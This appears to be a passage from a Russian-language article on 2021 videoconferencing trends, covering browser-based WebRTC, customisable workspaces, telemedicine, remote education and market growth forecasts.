Это относится и к той части интерфейса ВКС-систем, которая используется для развертывания рабочего места. Пользователи хотят тратить как можно меньше времени на настройку и решение технических вопросов, учитывая тот факт, что в условиях дистанционной работы обращение к техническим специалистам может быть связано с определенными ограничениями. Инструменты ВКС должны быть простыми и понятными даже для неопытных пользователей.

Таким образом, меняется сама модель потребления коммуникационных услуг: теперь потребитель занимает полноправную просьюмерскую позицию, заставляя производителей учитывать его индивидуальные предпочтения относительно функциональности и удобства решений.

image

Использование WebRTC


Технология WebRTC позволяет пользователям взаимодействовать в реальном времени, используя только браузер. Это решение обеспечивает колоссальную гибкость в выборе терминальных устройств от ПК до смартфона, а также избавляет пользователя от установки дополнительных плагинов, виджетов и клиентов.

Персонализация


Одним из трендов, который можно считать второстепенным, но не менее важным, является возможность кастомизации рабочих мест. Теперь участники видеоконференций хотят и могут не только конструировать внешний вид рабочего места (например, менять фон видео), но и адаптировать к различным сценариям отображение информации о себе.

Это позволяет реализовать творческую природу человека, что особенно важно в условиях изоляции. Помимо виртуальных фонов, которые приобрели популярность в 2020 году, теперь в видеопоток можно добавить пользовательскую информацию (например, имя и должность), логотип компании и другие графические объекты. Во время совещания сотрудники могут даже переключаться между совершенно разными макетами.

Как правило, сейчас для этого требуются сторонние плагины, но в рамках этой тенденции компании, выпускающие ВКС-решения, добавят эти функции к своим основным предложениям.

Развитие телемедицины и дистанционного образования


Стараясь снизить риск заражения сотрудников и пациентов, многие частные и государственные клиники начали предлагать услуги телемедицины. Врач и пациент общаются в видеочате, искусственный интеллект проводит диагностику по фотографиям, а медикаменты доставляют бесконтактно.

В США количество телепациентов увеличилось на 50% по сравнению с уровнем, существовавшим до пандемии. По мнению экспертов Forrester Research, уже в первой половине 2021 года количество удаленных приемов достигнет миллиарда.

На российском рынке также появился ряд телемедицинских сервисов: например, совместный проект Здоровье Mail.ru и ONDOC, СберЗдоровье, решение для удаленного мониторинга состояния здоровья от Мегафон.

Пандемия также подстегнула и развитие онлайн-образования. За последний год школы и ВУЗы были закрыты в 190 странах, что заставило около 1,6 млрд человек адаптироваться к новой реальности. Школы, колледжи и даже спортивные центры организовали занятия в формате видеоконференций. Многим учебным заведениям рекомендовано сохранить частичный дистанционный режим даже после открытия. Карантин способствовал росту популярности и различных образовательных онлайн-платформ (например, Udacity, Coursera и пр.), также широко применяющих различные ВКС-сервисы и платформы для проведения вебинаров.

image

Заключение


По данным Frost&Sullivan до конца 2021 года рынок услуг видео-конференц-связи вырастет на 23%, что составит $138,6 млн годовой выручки. Экспоненциальный рост отрасли будет стимулироваться следующими факторами:

  • высокими темпами роста востребованности визуальных коммуникаций и совместной работы;
  • увеличением числа распределенных команд;
  • сокращением затрат и повышением производительности сотрудников.

Стремительно увеличивающееся количество пользователей заставляет производителей пересматривать классификацию своих решений, что постепенно сокращает технологический разрыв между СМБ и крупными корпорациями.

Пандемия заставила бизнес выработать новый тип мышления. Теперь работа это не офисное здание, а вопрос доступа к нужным рабочим инструментам. Очевидно, что в долгосрочной перспективе выиграют те компании, которые смогут быстро адаптироваться к будущим вызовам, продолжая работу из любой локации. Поэтому в 2021 году бизнес ждет от отрасли ВКС появления универсальных и еще более удобных для пользователя инструментов.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru